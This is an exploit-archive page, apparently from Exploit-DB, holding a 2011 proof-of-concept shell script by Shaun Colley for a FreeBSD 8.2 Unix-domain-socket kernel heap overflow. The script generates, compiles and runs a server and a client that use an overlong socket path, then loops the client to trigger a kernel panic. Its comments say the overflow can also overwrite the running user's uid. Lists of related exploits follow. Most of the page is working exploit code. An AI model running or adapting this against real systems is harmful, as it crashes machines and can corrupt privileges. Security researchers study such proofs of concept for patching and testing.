Menu

Search for hundreds of thousands of exploits

"FreeBSD - UIPC socket heap Overflow (PoC)"

Author

Exploit author

"Shaun Colley"

Platform

Exploit platform

freebsd

Release date

Exploit published date

2011-09-30

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
#!/bin/sh
#
# fbsd-uipcsock-heap.sh, by Shaun Colley <scolley@ioactive.com>, 29/09/11
#
# proof-of-concept crash for the freebsd unix domain sockets heap
# overflow.  this was tested on freebsd 8.2-RELEASE.  just a PoC for now.
#
# see advisory & patches for details:
# http://www.securityfocus.com/archive/1/519864/30/0/threaded
#
# this PoC will usually result in a kernel panic with a read access
# violation at 0x616161XX but sometimes the kernel will not crash straight
# away (particularly if you shorten the length of 'sun_path' -- try 140 bytes),
# and your uid (see output of `id`) may have been modified to the
# decimal equivalent of 0x61616161 during the heap smash 

# write server code to srv.c 
cat > srv.c << _EOF
#include <stdio.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>

struct socky {
  short sun_family;
  char sun_path[160];
};

int connhandler(int incoming) 
{
  char buffer[256];
  int n = 0;

  n = read(incoming, buffer, 256);
  buffer[n] = 0;

  printf("%s\n", buffer);
  n = sprintf(buffer, "fbsd uipc socket heap overflow");
  write(incoming, buffer, n);
 
  close(incoming);
  return 0;
}

int main(void)
{
  struct socky overfl0w;
  int sock, incoming; 
  socklen_t alen;
  pid_t child;
  char buf[160];
 
  sock = socket(PF_UNIX, SOCK_STREAM, 0);
  if(sock < 0)
    {
      printf("socket() failed!\n");
      return 1;
    } 

  memset(&overfl0w, 0, sizeof(struct socky));

  overfl0w.sun_family = AF_UNIX;
  memset(buf, 0x61, sizeof(buf));
  buf[sizeof(buf)-1] = 0x00;
  strcpy(overfl0w.sun_path, buf);

  if(bind(sock, (struct sockaddr *)&overfl0w, 
	  sizeof(struct socky)) != 0)
    {
      printf("bind() failed!\n");
      return 1;
    }

  if(listen(sock, 5) != 0)
    {
      printf("listen() failed!\n");
      return 1;
    }

  while((incoming = accept(sock, (struct sockaddr *)&overfl0w, &alen)) > -1) 
    {
      child = fork();
      if(child == 0)
	{
	  return connhandler(incoming);
	}
      close(incoming);
    }

  close(sock);
  return 0;
}
_EOF

gcc srv.c -o srv

# write the client code to client.c
cat > client.c << _EOF
#include <stdio.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>
#include <string.h>

struct socky {
  short sun_family;
  char sun_path[160];
};

int main(void)
{
  struct socky overfl0w;
  int  sock, n;
  char buffer[256], buf[160];

  sock = socket(PF_UNIX, SOCK_STREAM, 0);
  if(sock < 0)
    {
      printf("socket() failed!\n");
      return 1;
    }

  /* start with a clean address structure */
  memset(&overfl0w, 0, sizeof(struct sockaddr_un));
 
  overfl0w.sun_family = AF_UNIX;
  memset(buf, 0x61, sizeof(buf));
  buf[sizeof(buf)-1] = 0x00;
  strcpy(overfl0w.sun_path, buf);

  if(connect(sock, 
	     (struct sockaddr *)&overfl0w, 
	     sizeof(struct socky)) != 0)
    {
      printf("connect() failed!\n");
      return 1;
    }

  n = snprintf(buffer, 256, "panic");
  write(sock, buffer, n);
 
  n = read(sock, buffer, 256);
  buffer[n] = 0;

  printf("%s\n", buffer);

  close(sock);
  return 0;
}
_EOF

gcc client.c -o client

# crash doesn't happen straight away, so loop the client to speed it up
cat > loop.c << _EOF
#include <stdio.h>

int main() {
int i;
for(i = 0; i < 1000; i++) {
system("./client");
}
}
_EOF

gcc loop.c -o loop

./srv &
./loop
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-04-06 "pfSense 2.4.4-P3 - 'User Manager' Persistent Cross-Site Scripting" webapps freebsd "Matthew Aberegg"
2020-02-11 "OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution" remote freebsd "Marco Ivaldi"
2019-12-30 "FreeBSD-SA-19:02.fd - Privilege Escalation" local freebsd "Karsten König"
2019-12-30 "FreeBSD-SA-19:15.mqueuefs - Privilege Escalation" local freebsd "Karsten König"
2019-07-10 "FreeBSD 12.0 - 'fd' Local Privilege Escalation" local freebsd gr4yf0x
2016-01-25 "FreeBSD SCTP ICMPv6 - Error Processing" dos freebsd ptsecurity
2015-01-29 "FreeBSD - Multiple Vulnerabilities" dos freebsd "Core Security"
2013-10-04 "FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation" local freebsd CurcolHekerLink
2013-06-26 "FreeBSD 9 - Address Space Manipulation Privilege Escalation (Metasploit)" local freebsd Metasploit
2013-06-21 "FreeBSD 9.0 < 9.1 - 'mmap/ptrace' Local Privilege Escalation" local freebsd Hunger
Release Date Title Type Platform Author
2014-09-25 "GNU Bash - Environment Variable Command Injection (Metasploit)" remote cgi "Shaun Colley"
2012-08-03 "FreeBSD - SCTP Remote NULL Ptr Dereference Denial of Service" dos freebsd "Shaun Colley"
2011-09-30 "FreeBSD - UIPC socket heap Overflow (PoC)" dos freebsd "Shaun Colley"
2009-08-06 "FreeBSD 7.2-RELEASE - SCTP Local Kernel Denial of Service" dos freebsd "Shaun Colley"
2009-07-20 "FreeBSD 7.2 - 'pecoff' Local Denial of Service" dos freebsd "Shaun Colley"
2009-07-13 "FreeBSD 6/8 - ata Device Local Denial of Service" dos freebsd "Shaun Colley"
2008-08-07 "OpenVms 8.3 Finger Service - Stack Buffer Overflow" dos multiple "Shaun Colley"
2005-05-20 "Picasm 1.10/1.12 - Error Generation Remote Buffer Overflow" remote freebsd "Shaun Colley"
2004-03-31 "CDP 0.33/0.4 - Console CD Player PrintTOC Function Buffer Overflow" dos hardware "Shaun Colley"
2004-03-01 "Motorola T720 Phone - Denial of Service" dos hardware "Shaun Colley"
2004-02-04 "RXGoogle.CGI 1.0/2.5 - Cross-Site Scripting" webapps cgi "Shaun Colley"
2003-05-14 "PalmOS 3/4 - ICMP Flood Remote Denial of Service" dos palm_os "Shaun Colley"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.